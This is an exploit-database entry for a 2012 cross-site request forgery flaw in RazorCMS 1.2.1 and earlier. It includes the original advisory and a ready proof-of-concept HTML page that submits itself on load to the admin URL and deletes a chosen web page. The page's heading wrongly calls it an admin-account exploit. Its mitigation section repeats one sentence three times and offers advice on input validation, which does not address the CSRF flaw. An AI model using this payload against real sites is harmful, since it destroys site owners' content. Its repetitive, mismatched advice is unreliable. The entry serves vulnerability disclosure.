header-logo
Suggest Exploit
vendor:
RazorCMS
by:
Ivano Binetti
7,8
CVSS
HIGH
Cross-Site Request Forgery (CSRF)
352
CWE
Product Name: RazorCMS
Affected Version From: 1.2.1 STABLE and lower
Affected Version To: 1.2.1 STABLE and lower
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Debian Squeeze (6.0)
2012

RazorCMS <= 1.2.1 STABLE CSRF (Delete Web Pages)

RazorCMS 1.2.1 STABLE (and lower) is affected by CSRF Vulnerability which allows an attacker to delete web pages, both published and unpublished. An attacker can craft a malicious HTML page containing a form with the action attribute set to the URL of the vulnerable page, and when the victim visits the malicious page, the form will be automatically submitted, resulting in the deletion of the web page.

Mitigation:

Developers should ensure that all user input is properly validated and sanitized. Additionally, developers should ensure that all user input is properly validated and sanitized. Furthermore, developers should ensure that all user input is properly validated and sanitized.
Source

Exploit-DB raw data:

+------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : RazorCMS <= 1.2.1 STABLE CSRF (Delete Web Pages)
# Date          : 08-03-2012
# Author        : Ivano Binetti (http://www,ivanobinetti.com)
# Software link : http://www.razorcms.co.uk/archive/core/razorCMS_core_v1_2_1_STABLE.zip
# Vendor site   : http://www.razorcms.co.uk/
# Version       : 1.2.1 STABLE and lower 
# Tested on     : Debian Squeeze (6.0) 
+------------------------------------------------------------------------------------------------------------------------------------+

Summary
1)Introduction
2)Vulnerabilities Description
3)Exploit (Delete Web Page) 
  
+------------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
"razorCMS is ideally suited to small to medium website projects, it can be run without need for a database, due to it's flat file
structure it has no need for a database meaning it can also be a cost effected method in content management, allowing it to be 
used on the cheapest of web hosts, or even free hosting".

2)Vulnerabilities Description
RazorCMS 1.2.1 STABLE (and lower)  is affected by CSRF Vulnerability which allows an attacker to delete web pages, both published 
and unpublished.

3)Exploit (Delete Web Page)  
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add ADMIN account</H2>
<form method="POST" name="form0" action="http://<razorcms_ip>:80/razorcms/admin/?action=showcats&unpub=true&slabID=2&catname=sidebar">
</body>
</html>

In this POC I've deleted web page with ID=2 
 
+------------------------------------------------------------------------------------------------------------------------------------+